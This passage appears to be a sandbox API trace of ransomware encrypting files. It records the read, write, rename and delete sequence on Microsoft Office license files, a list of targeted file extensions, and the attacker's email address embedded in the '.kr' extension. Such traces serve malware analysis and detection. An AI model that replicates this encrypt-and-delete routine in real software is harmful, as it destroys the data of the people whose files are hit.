lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0207.222] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0207.223] ReadFile (in: hFile=0x568, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0207.224] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0207.224] SetEndOfFile (hFile=0x574) returned 1 [0207.224] CloseHandle (hObject=0x574) returned 1 [0207.224] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.224] SetEndOfFile (hFile=0x568) returned 1 [0208.783] CloseHandle (hObject=0x568) returned 1 [0208.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms")) returned 1 [0209.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.114] lstrlenW (lpString=".doc") returned 4 [0209.114] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.114] lstrlenW (lpString=".docx") returned 5 [0209.114] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.114] lstrlenW (lpString=".pdf") returned 4 [0209.114] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.114] lstrlenW (lpString=".xls") returned 4 [0209.114] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.114] lstrlenW (lpString=".xlsx") returned 5 [0209.114] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.114] lstrlenW (lpString=".ppt") returned 4 [0209.114] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.115] lstrlenW (lpString=".zip") returned 4 [0209.115] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString=".rar") returned 4 [0209.115] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString=".bz2") returned 4 [0209.115] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString=".7z") returned 3 [0209.115] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.115] lstrlenW (lpString=".dbf") returned 4 [0209.115] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.115] lstrlenW (lpString=".1cd") returned 4 [0209.115] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.115] lstrlenW (lpString=".jpg") returned 4 [0209.115] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.115] lstrlenW (lpString=".doc") returned 4 [0209.115] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.115] lstrlenW (lpString=".docx") returned 5 [0209.115] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.115] lstrlenW (lpString=".pdf") returned 4 [0209.115] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString=".xls") returned 4 [0209.116] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString=".xlsx") returned 5 [0209.116] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.116] lstrlenW (lpString=".ppt") returned 4 [0209.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.116] lstrlenW (lpString=".zip") returned 4 [0209.116] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString=".rar") returned 4 [0209.116] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString=".bz2") returned 4 [0209.116] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString=".7z") returned 3 [0209.116] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.116] lstrlenW (lpString=".dbf") returned 4 [0209.116] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.116] lstrlenW (lpString=".1cd") returned 4 [0209.116] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87 [0209.116] lstrlenW (lpString=".jpg") returned 4 [0209.116] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.117] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.117] lstrlenW (lpString="OneNoteFreeR_Bypass-pl.xrm-ms") returned 29 [0209.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0209.118] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10651) returned 1 [0209.118] CloseHandle (hObject=0x500) returned 1 [0209.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms")) returned 0x220 [0209.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0209.119] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.119] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0209.120] GetLastError () returned 0x0 [0209.120] ReadFile (in: hFile=0x500, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x299b, lpOverlapped=0x0) returned 1 [0209.123] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x29a0, lpOverlapped=0x0) returned 1 [0209.124] ReadFile (in: hFile=0x500, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0209.124] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0209.124] SetEndOfFile (hFile=0x568) returned 1 [0209.125] CloseHandle (hObject=0x568) returned 1 [0209.125] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.125] SetEndOfFile (hFile=0x500) returned 1 [0209.134] CloseHandle (hObject=0x500) returned 1 [0209.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms")) returned 1 [0209.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.136] lstrlenW (lpString=".doc") returned 4 [0209.136] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.136] lstrlenW (lpString=".docx") returned 5 [0209.136] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.136] lstrlenW (lpString=".pdf") returned 4 [0209.137] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString=".xls") returned 4 [0209.137] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString=".xlsx") returned 5 [0209.137] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.137] lstrlenW (lpString=".ppt") returned 4 [0209.137] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.137] lstrlenW (lpString=".zip") returned 4 [0209.137] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString=".rar") returned 4 [0209.137] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString=".bz2") returned 4 [0209.137] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString=".7z") returned 3 [0209.137] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.137] lstrlenW (lpString=".dbf") returned 4 [0209.137] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.137] lstrlenW (lpString=".1cd") returned 4 [0209.137] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.137] lstrlenW (lpString=".jpg") returned 4 [0209.137] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.138] lstrlenW (lpString=".doc") returned 4 [0209.138] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.138] lstrlenW (lpString=".docx") returned 5 [0209.138] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.138] lstrlenW (lpString=".pdf") returned 4 [0209.138] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.138] lstrlenW (lpString=".xls") returned 4 [0209.138] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.138] lstrlenW (lpString=".xlsx") returned 5 [0209.138] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.138] lstrlenW (lpString=".ppt") returned 4 [0209.138] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.138] lstrlenW (lpString=".zip") returned 4 [0209.138] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.138] lstrlenW (lpString=".rar") returned 4 [0209.139] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.139] lstrlenW (lpString=".bz2") returned 4 [0209.139] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.139] lstrlenW (lpString=".7z") returned 3 [0209.139] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.139] lstrlenW (lpString=".dbf") returned 4 [0209.139] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.139] lstrlenW (lpString=".1cd") returned 4 [0209.139] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79 [0209.139] lstrlenW (lpString=".jpg") returned 4 [0209.139] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.139] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.139] lstrlenW (lpString="OneNoteFreeR_Bypass-ppd.xrm-ms") returned 30 [0209.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0209.141] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6060) returned 1 [0209.141] CloseHandle (hObject=0x500) returned 1 [0209.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms")) returned 0x220 [0209.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0209.142] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.142] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0209.143] GetLastError () returned 0x0 [0209.143] ReadFile (in: hFile=0x500, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x17ac, lpOverlapped=0x0) returned 1 [0209.259] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x17b0, lpOverlapped=0x0) returned 1 [0209.260] ReadFile (in: hFile=0x500, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0209.260] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0209.260] SetEndOfFile (hFile=0x568) returned 1 [0209.261] CloseHandle (hObject=0x568) returned 1 [0209.261] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.261] SetEndOfFile (hFile=0x500) returned 1 [0209.264] CloseHandle (hObject=0x500) returned 1 [0209.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms")) returned 1 [0209.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.866] lstrlenW (lpString=".doc") returned 4 [0209.866] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.879] lstrlenW (lpString=".docx") returned 5 [0209.879] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.879] lstrlenW (lpString=".pdf") returned 4 [0209.879] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.879] lstrlenW (lpString=".xls") returned 4 [0209.879] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.879] lstrlenW (lpString=".xlsx") returned 5 [0209.879] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.879] lstrlenW (lpString=".ppt") returned 4 [0209.879] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.893] lstrlenW (lpString=".zip") returned 4 [0209.893] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.893] lstrlenW (lpString=".rar") returned 4 [0209.893] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.893] lstrlenW (lpString=".bz2") returned 4 [0209.893] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.893] lstrlenW (lpString=".7z") returned 3 [0209.893] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.904] lstrlenW (lpString=".dbf") returned 4 [0209.905] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.905] lstrlenW (lpString=".1cd") returned 4 [0209.905] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.905] lstrlenW (lpString=".jpg") returned 4 [0209.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.905] lstrlenW (lpString=".doc") returned 4 [0209.905] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString=".docx") returned 5 [0209.905] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.905] lstrlenW (lpString=".pdf") returned 4 [0209.905] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString=".xls") returned 4 [0209.905] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString=".xlsx") returned 5 [0209.905] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.905] lstrlenW (lpString=".ppt") returned 4 [0209.905] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.905] lstrlenW (lpString=".zip") returned 4 [0209.905] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.905] lstrlenW (lpString=".rar") returned 4 [0209.905] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.906] lstrlenW (lpString=".bz2") returned 4 [0209.906] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.906] lstrlenW (lpString=".7z") returned 3 [0209.906] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.906] lstrlenW (lpString=".dbf") returned 4 [0209.906] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.906] lstrlenW (lpString=".1cd") returned 4 [0209.906] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms") returned 80 [0209.906] lstrlenW (lpString=".jpg") returned 4 [0209.906] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.906] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.906] lstrlenW (lpString="OneNoteR_Trial-pl.xrm-ms") returned 24 [0209.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0209.914] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11147) returned 1 [0209.914] CloseHandle (hObject=0x518) returned 1 [0209.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms")) returned 0x220 [0209.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0209.914] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.914] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 